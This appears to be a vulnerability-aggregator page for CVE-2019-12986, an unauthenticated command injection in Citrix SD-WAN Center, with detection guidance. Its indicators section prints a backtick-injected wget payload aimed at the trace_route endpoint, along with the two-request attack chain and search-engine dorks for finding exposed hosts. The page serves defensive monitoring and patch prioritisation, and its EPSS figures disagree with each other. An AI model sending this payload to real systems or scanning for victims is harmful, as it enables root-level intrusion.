CVE-2019-12986
published 2019-07-16CVE-2019-12986: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).
PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
39.54%
98.4th percentile
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| citrix | citrix_sd-wan | — | — |
| citrix | netscaler_adc_gateway | — | — |
| citrix | netscaler_sd-wan | >= 10.0 < 10.0.8 | 10.0.8 |
| citrix | sd-wan | — | — |
| citrix | sd-wan | >= 10.2 < 10.2.3 | 10.2.3 |
| citrix | xenserver | — | — |
Detection & IOCsextracted from sources · hover to see the quote
urlPOST /Collector/diagnostics/trace_route
path/Collector/diagnostics/trace_route
commandipAddress=%60/bin/wget+http://{{interactsh-url}}%60
- →Detect exploitation attempts by monitoring POST requests to /Collector/diagnostics/trace_route with shell metacharacters (backtick, pipe, semicolon) in the ipAddress parameter.
- →Confirm vulnerable host by checking HTTP response body for the string 'Citrix SD-WAN' on the /login endpoint.
- →Use Shodan/FOFA/Google dorks to identify exposed Citrix SD-WAN instances: Shodan: http.title:"Citrix SD-WAN", FOFA: title="citrix sd-wan", Google: intitle:"citrix sd-wan".
- →The attack chain requires two requests: first a GET to /login (likely for session/CSRF token), then a POST to /Collector/diagnostics/trace_route — monitor for this sequential pattern from the same source IP.
- →The vulnerability is unauthenticated (unauth tag); no session cookie or credentials are required to reach the vulnerable endpoint.
- →Monitor for outbound HTTP/DNS callbacks (OAST) from SD-WAN Center hosts following POST requests to /Collector/diagnostics/trace_route, indicating successful command injection via /bin/wget.
- ·Vulnerability is exploitable without authentication; the attack routes through the Collector controller endpoint, which appears to be publicly accessible.
- ·Affected versions are Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8; instances on these versions should be treated as unpatched and at critical risk. ↗
- ·This is issue 2 of 6 improper input validation findings in the same advisory (CTX251987), meaning additional vulnerable endpoints likely exist in the same product. ↗
- ·The EPSS score is 0.92134 (99.7th percentile), indicating this vulnerability is very likely to be exploited in the wild and should be prioritized for patching.
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-qgp9-j24q-992j: Citrix SD-WAN 10
ghsa_unreviewed·2022-05-24
CVE-2019-12986 [CRITICAL] CWE-78 GHSA-qgp9-j24q-992j: Citrix SD-WAN 10
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).
VulnCheck
Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2019·CVSS 9.8
CVE-2019-12986 [CRITICAL] Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).
Affected: Citrix SD-WAN and NetScaler
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-05&host_type=src&vulnerability=cve-2019-12986; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-11&host_type=src&vulnerability=cve-2019-12986; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability
Citrix
CVE-2019-12986: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).
vendor_citrix·2019-07-16·CVSS 9.8
CVE-2019-12986 [CRITICAL] CWE-78 CVE-2019-12986: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).
CVE-2019-12986: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 2 of 6).
Citrix
Citrix SD-WAN Multiple Security Updates
vendor_citrix·CVSS 9.8
CVE-2019-12985 [CRITICAL] Citrix SD-WAN Multiple Security Updates
Citrix SD-WAN Multiple Security Updates
of Problem Multiple vulnerabilities have been identified in the management console of the Citrix SD-WAN Center and NetScaler SD-WAN Center. Multiple Vulnerabilities have also been identified on the Citrix SD-WAN Appliance and NetScaler SD-WAN Appliance. Collectively, these vulnerabilities could result in an unauthenticated attacker executing commands as root against the SD-WAN Center management console, or potentially be used to gain root privileges on the SD-WAN appliance. The vulnerabilities have been assigned the following CVE numbers. CVE-2019-12985 – Unauthenticated Command Injection in Citrix SD-WAN Center 10.2.x before 10.2.3 and NetScaler SD-WAN Center 10.0.x before 10.0.8. CVE-2019-12986 – Unauthenticated Command Injection in Citrix SD-WAN
No detection rules found.
Nuclei
Citrix SD-WAN Center - Remote Command Injection
nuclei·CVSS 9.8
CVE-2019-12986 [CRITICAL] Citrix SD-WAN Center - Remote Command Injection
Citrix SD-WAN Center - Remote Command Injection
Citrix SD-WAN Center is susceptible to remote command injection via the trace_route function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
Template:
id: CVE-2019-12986
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command injection via the trace_route function in DiagnosticsController, wh
Tenable
Multiple Vulnerabilities Found in Citrix SD-WAN Center and SD-WAN Appliances
blogs_tenable·2019-07-11
Multiple Vulnerabilities Found in Citrix SD-WAN Center and SD-WAN Appliances
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Tenable
Citrix SD-WAN Center Multiple Vulnerabilities
blogs_tenable·2019-07-02
Citrix SD-WAN Center Multiple Vulnerabilities
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Greynoiseio
NoiseLetter January 2026
blogs_greynoiseio
NoiseLetter January 2026
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
2019-07-16
Published
Exploited in the wild